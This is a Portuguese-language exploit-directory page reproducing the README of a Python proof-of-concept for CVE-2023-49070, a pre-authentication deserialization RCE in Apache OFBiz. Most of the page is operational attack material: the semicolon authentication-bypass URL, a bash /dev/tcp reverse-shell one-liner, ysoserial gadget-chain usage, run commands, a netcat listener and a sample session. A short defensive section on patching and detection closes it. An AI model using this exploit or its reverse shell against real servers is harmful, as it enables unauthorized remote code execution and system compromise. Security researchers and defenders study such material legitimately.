Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-49070 — PoC em Python para Apache OFBiz CVE-2023-49070: bypass de autenticação em /webtools/control/xmlrpc combinado com cadeia de gadgets ysoserial para alcançar RCE por desserialização pré-autenticação. | Kitploit
Ferramentas/GitHubGitHub/bardlaudian/cve-2023-49070
Ferramentas DefensivasGeração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed Teaming
GitHubbardlaudian/cve-2023-49070

CVE-2023-49070

PoC em Python para Apache OFBiz CVE-2023-49070: bypass de autenticação em /webtools/control/xmlrpc combinado com cadeia de gadgets ysoserial para alcançar RCE por desserialização pré-autenticação.

1há 10h 41mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver RepositórioSite
Compartilhar

ofbiz-xmlrpc-rce (CVE-2023-49070)

PoC para o RCE de desserialização pré-autenticação do XML-RPC do Apache OFBiz, rastreado como CVE-2023-49070: um caminho de bypass de autenticação desbloqueia o endpoint legado /webtools/control/xmlrpc, que desserializa um objeto Java controlado pelo atacante contrabandeado dentro de um parâmetro <serializable> do XML-RPC.

⚠️ Apenas para testes de segurança autorizados. Execute isto apenas contra sistemas que você possui ou está explicitamente autorizado a testar (ambientes de CTF/laboratório, engajamentos com escopo assinado, etc.). O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições.

Vulnerabilidade

A autenticação de view-map do Apache OFBiz normalmente protege /webtools/control/xmlrpc. As versões afetadas (< 18.12.10) podem ser enganadas para pular essa verificação anexando um ponto e vírgula mais parâmetros de consulta específicos ao caminho:

root@kitploit:~
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y

Uma vez acessível, o endpoint aceita requisições XML-RPC. A implementação Java do Apache XML-RPC suporta um tipo de extensão <serializable>: o conteúdo do elemento é decodificado em base64 e passado diretamente para — desserialização Java insegura clássica. Com uma cadeia de gadgets adequada no classpath (este PoC usa via por padrão), isso se traduz diretamente em execução remota de comandos como o usuário do SO que executa o OFBiz.

ObjectInputStream.readObject()
CommonsBeanutils1
ysoserial

Esta é a mesma família de bug das CVEs anteriores de desserialização XML-RPC do OFBiz (por exemplo, o irmão de bypass de autenticação da CVE-2023-51467); o OFBiz tem um padrão recorrente de pares de bypass de autenticação + desserialização neste endpoint, então verifique a CVE/faixa de versão exata que se aplica ao seu alvo antes de confiar neste PoC.

O que este script faz

  1. Constrói um reverse shell bash -i >& /dev/tcp/LHOST/LPORT 0>&1, codifica-o em base64 e o envolve em um one-liner bash -c 'echo ... | base64 -d | bash' (evita a desconfiguração de metacaracteres do shell mais adiante na cadeia de execução).
  2. Invoca o ysoserial para construir uma cadeia de gadgets serializada (CommonsBeanutils1 por padrão, configurável) que executa esse one-liner.
  3. Codifica os bytes do gadget em base64 e os envolve no payload <serializable> do XML-RPC.
  4. Envia via POST para TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.
  5. Reporta o status HTTP e sinaliza se o corpo da resposta contém o marcador de erro pós-desserialização do OFBiz (No such service) — um sinal de que o payload foi processado, não prova de execução de código.

O que este script NÃO faz

Ele não pode confirmar que você obteve um shell — o OFBiz retorna um erro genérico de qualquer forma assim que a desserialização é executada (o próprio método XML-RPC, Dns, não existe como um serviço real). Sempre mantenha seu listener ativo e verifique-o, não apenas a saída do console do script.

Requisitos

  • Python 3.8+, pip install requests --break-system-packages
  • Java (qualquer versão compatível com sua build do ysoserial)
  • ysoserial-all.jar — compile você mesmo a partir de frohoff/ysoserial (mvn clean package -DskipTests) ou pegue um jar de release. Não está incluído aqui — é uma ferramenta de terceiros grande com sua própria licença.

Uso

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py \
    --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar

Inicie um listener primeiro:

root@kitploit:~
nc -lvnp 4444

Todas as opções

FlagPadrãoDescrição
--target(obrigatório)URL base do alvo, por exemplo https://ofbiz.target.tld
--lhost(obrigatório)IP do seu listener
--lport(obrigatório)Porta do seu listener
--ysoserialysoserial-all.jarCaminho para o jar do ysoserial
--gadgetCommonsBeanutils1Cadeia de gadgets do ysoserial a usar
--java-binjavaBinário Java a invocar
--timeout15Timeout da requisição HTTP (segundos)
--proxy(nenhum)Proxy HTTP(S) opcional, por exemplo para rotear via Burp

Testando outras cadeias de gadgets

CommonsBeanutils1 é a escolha clássica para o OFBiz (ele inclui commons-beanutils no classpath), mas se não funcionar, as bibliotecas empacotadas do OFBiz também suportam outras cadeias. Basta trocar --gadget:

root@kitploit:~
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 \
    --ysoserial /path/to/ysoserial-all.jar \
    --gadget CommonsCollections6

Sessão de exemplo

root@kitploit:~
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
    --lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
    This is a signal the gadget chain executed, not proof of a shell.

[*] Check your listener: nc -lvnp 4444

Detecção e mitigação (notas defensivas)

  • Aplique o patch para o Apache OFBiz 18.12.10 ou posterior (ou a release corrigida atual para o seu branch) — isso fecha tanto o caminho de bypass de autenticação quanto reforça a desserialização no endpoint XML-RPC.
  • Desative ou restrinja /webtools/control/xmlrpc se você não usa ativamente a integração XML-RPC; o componente webtools em geral é um alvo comum e não deve ficar exposto à internet sem um forte motivo.
  • Filtre segmentos de caminho baseados em ponto e vírgula em uma camada de WAF/reverse-proxy como defesa em profundidade — muitas das CVEs de bypass de autenticação do OFBiz compartilham esse truque do ; contra o parsing de caminho de servlet Java.
  • Reforço de desserialização: use um filtro de desserialização com look-ahead (ObjectInputFilter, disponível desde o JEP 290 / Java 9+) para bloquear classes conhecidas de cadeias de gadgets de serem instanciadas, independentemente de qual endpoint dispara a desserialização.
  • Monitore: POSTs para */control/xmlrpc* contendo elementos <serializable>, conexões de saída inesperadas a partir do host OFBiz, e processos filhos gerados pelo processo Java que executa o OFBiz.

Referências

  • NVD — CVE-2023-49070
  • Apache OFBiz security advisories
  • ysoserial

Licença

MIT — veja LICENSE.

Baixar ferramenta